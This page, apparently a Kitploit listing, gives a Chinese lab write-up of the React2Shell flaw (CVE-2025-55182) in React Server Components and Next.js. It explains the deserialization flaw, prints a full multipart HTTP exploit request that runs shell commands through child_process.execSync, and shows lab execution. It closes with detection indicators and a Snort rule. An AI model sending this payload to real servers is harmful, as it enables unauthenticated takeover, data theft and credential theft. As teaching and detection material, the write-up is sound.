Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
React2Shell-CVE-2025-55182 — React2Shell CVE-2025-55182:React Server Components 中未经身份验证的不安全反序列化,可通过 Flight 协议实现可靠的远程代码执行。 | Kitploit
工具/GitHubGitHub/adityabhatt3010/react2shell-cve-2025-55182
漏洞分析代码分析漏洞利用Web应用程序漏洞利用Web安全CTF渗透测试学习与教育Payload 开发

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHubadityabhatt3010/react2shell-cve-2025-55182

React2Shell-CVE-2025-55182

React2Shell CVE-2025-55182:React Server Components 中未经身份验证的不安全反序列化,可通过 Flight 协议实现可靠的远程代码执行。

查看仓库
711个月前尚未审核

🎯 React2Shell (CVE-2025-55182): 从 React Server Components 到完全 RCE

难度: 中级 → 高级
类别: Web 漏洞利用 | 反序列化 | RCE

封面


🧩 任务 1: 简介 — 为什么 React2Shell 是个大事

CVE-2025-55182,绰号 React2Shell,是那种让防御者立即感到紧张 😬 的漏洞之一。它于 2025 年 12 月 被发现,CVSS 评分为 10.0,这已经告诉你这不是某种边缘情况的 bug。

其核心是,这个漏洞影响 React Server Components (RSC) 以及基于它们构建的框架——最著名的是 Next.js。可怕的部分是?

👉 未经身份验证的远程代码执行 (RCE) 👉 单个精心构造的 HTTP 请求 👉 默认配置也存在风险

无需登录。无需特殊权限。只需一个精心构造的请求。

🔥 受影响的 React 包

  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack

✅ 修复版本

  • 19.0.1
  • 19.1.2
  • 19.2.1

这个房间将带我们了解这个 bug 存在 的原因,如何 利用它,以及防御者可以做些什么。

Flag: 无需回答。


🧠 任务 2: React Server Components 与 Flight 协议

在利用之前,我们需要架构清晰度。

什么是 React Server Components?

React Server Components(在 React 19 中引入)允许 React 应用的某些部分在 服务器端 运行,而不是在浏览器中。这意味着:

  • 繁重的计算留在服务器端 ⚙️
  • 客户端仅接收渲染后的输出 📦
  • 更好的性能,更小的包

进入:React Flight ✈️

客户端和服务器之间的通信通过 React Flight 协议 进行。该协议在客户端序列化数据,并在服务器端反序列化。

它使用 特殊标记:

  • $@ → Chunk 引用

  • $B → Blob 引用

  • 通过冒号表示法的属性路径 示例:

    root@kitploit:~
    $1:constructor:constructor
    

⚠️ 这个序列化逻辑正是问题所在。

问题: 什么符号表示 Blob 引用? ✅ 答案: $B


💣 任务 3: 核心漏洞 — 不安全的反序列化

CVE-2025-55182 的核心是一个 经典的不安全反序列化缺陷。

让我们看看易受攻击的模式(请勿裁剪 👇):

root@kitploit:~
function requireModule(metadata) {  
 var moduleExports = __webpack_require__(metadata[0]);  
 // ... 其他逻辑 ...  
 return moduleExports[metadata[2]];  // 易受攻击的行  
}  

为什么这很危险?

在 JavaScript 中,括号表示法:

root@kitploit:~
obj[someKey]

并不 限制仅访问导出的属性。它会遍历 整个原型链。

现在关键洞察来了 👀:

  • 每个 JavaScript 函数都有一个 .constructor
  • constructor 指向 Function 构造函数
  • Function("code") = 任意 JS 执行

武器化 Flight 引用

由于 Flight 协议允许冒号分隔的路径,攻击者可以发送:

root@kitploit:~
$1:constructor:constructor

它会解析为:

  1. 获取模块 chunk
  2. 访问 .constructor
  3. 再次访问 .constructor → Function

至此,游戏结束 🎮。

Flag: 无需回答。


🧨 任务 4: 利用链 — 从 Bug 到 RCE

现在让我们逐步分解 maple3142 的 PoC。

🧩 阶段 1: 伪造的 Chunk 对象

攻击者发送一个包含 伪造的 Chunk 对象 的 multipart 请求:

root@kitploit:~
{  
 "then": "$1:__proto__:then",  
 "status": "resolved_model",  
 "reason": -1,  
 "value": "{\\"then\\":\\"$B1337\\"}",  
 "_response": {  
   "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",  
   "_chunks": "$Q2",  
   "_formData": {  
     "get": "$1:constructor:constructor"  
   }  
 }  
}

该对象 模仿了 React 的内部 Chunk 结构。 通过将 then 指向 Chunk.prototype.then,React 被欺骗 等待攻击者控制的逻辑。


🧩 阶段 2: Blob 处理程序滥用

$B1337 标记触发 Blob 反序列化处理程序,该处理程序内部执行:

root@kitploit:~
response._formData.get(response._prefix + id)

但我们污染了:

  • _formData.get → Function
  • _prefix → 恶意 JS

导致执行:

root@kitploit:~
Function("process.mainModule.require('child_process').execSync('xcalc');1337")

💥 实现了任意 JavaScript 执行。


🧩 阶段 3: OS 命令执行

PoC 执行:

root@kitploit:~
process.mainModule
  .require('child_process')
  .execSync('xcalc')

这可以毫不费力地被替换为:

  • 反弹 Shell
  • 秘密数据外泄
  • 文件读取
  • 云凭证窃取 ☠️

Flag: 无需回答。


📦 任务 5: 完整 HTTP PoC 分解

这是 完整的利用请求(原样,未裁剪):

root@kitploit:~
POST / HTTP/1.1  
Host: localhost  
Next-Action: x  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="1"

"$@0"  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="2"

[]  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--  

(…multipart 主体继续…)

需要注意的关键点 👇

  • Next-Action 头触发 Server Actions
  • multipart/form-data 是必须的
  • $@0 创建自引用
  • $B1337 触发 Blob 逻辑
  • constructor:constructor 导致 Function

这不是偶然的——这是一个 精确设计的链。


🌍 受影响的生态系统

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0

  • Next.js:

    • ≥14.3.0-canary.77
    • All 15.x
    • Early 16.x
  • 其他: React Router (RSC), Waku, Redwood SDK

📊 Wiz 研究:39% 的云环境 暴露 🌐 Shodan:571k+ React 服务器,444k+ Next.js

那… 可真多 😶


🧪 任务 6: 在实验室中进行利用

首先在 Repeater 中,新建 HTTP 请求并选择目标。

1

使用 Burp Suite Repeater,我们发送 payload:

root@kitploit:~
execSync('id')

2

然后:

root@kitploit:~
execSync('whoami')

3

✅ 结果

  • 用户: ubuntu

  • Flag:

    root@kitploit:~
    {React-19.2.0}
    

干净、可靠、可复现的利用 💀


🛡️ 任务 7: 检测与防御

对防御者来说好消息 👮‍♂️ —— 利用会留下痕迹。

🔎 攻击指标

  • Next-Action 头
  • multipart/form-data
  • "status":"resolved_model"
  • "then":"$1:__proto__:then"

这些 绝不应该 出现在正常用户流量中。


🚨 Snort 规则 (v3)

root@kitploit:~
alert http any any -> $LAN_NETWORK any (
    msg:"Potential Next.js React2Shell / CVE-2025-66478 attempt";
    flow:to_server,established;
    content:"Next-Action"; http_header; nocase;
    content:"multipart/form-data"; http_header; nocase;
    pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
    pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
    pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
    classtype:web-application-attack;
    sid:6655001;
    rev:1;
)

🧾 OSQuery — 查找易受攻击的包

root@kitploit:~
{
  "queries": {
    "detect_rev2shell_react_server_components": {
      "query": "SELECT name, version, path FROM npm_packages WHERE ...",
      "interval": 3600
    }
  }
}

非常适合:

  • CI/CD 管道
  • 端点审计
  • 预生产检查

4


🧠 最终思考

React2Shell 是一个 教科书式的案例,展示了:

  • 为什么 unsafe 反序列化是致命的
  • 原型链如何背叛你
  • 为什么“默认配置”是危险的

一旦安装补丁版本并遵循 npm audit 建议,该利用将完全失效 ✅。

⚠️ 切勿在授权实验室之外测试此漏洞。
🔥 始终快速修补。
🧠 始终理解 bug 存在 的原因——而不仅仅是如何利用它。


⭐ 关注我并保持联系

如果您喜欢这篇 Write-up 或希望与我在网络安全、CTF 和 VAPT 方面的工作保持联系:

🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010

Happy hacking — 请负责任地进行 🗿🚀


下载工具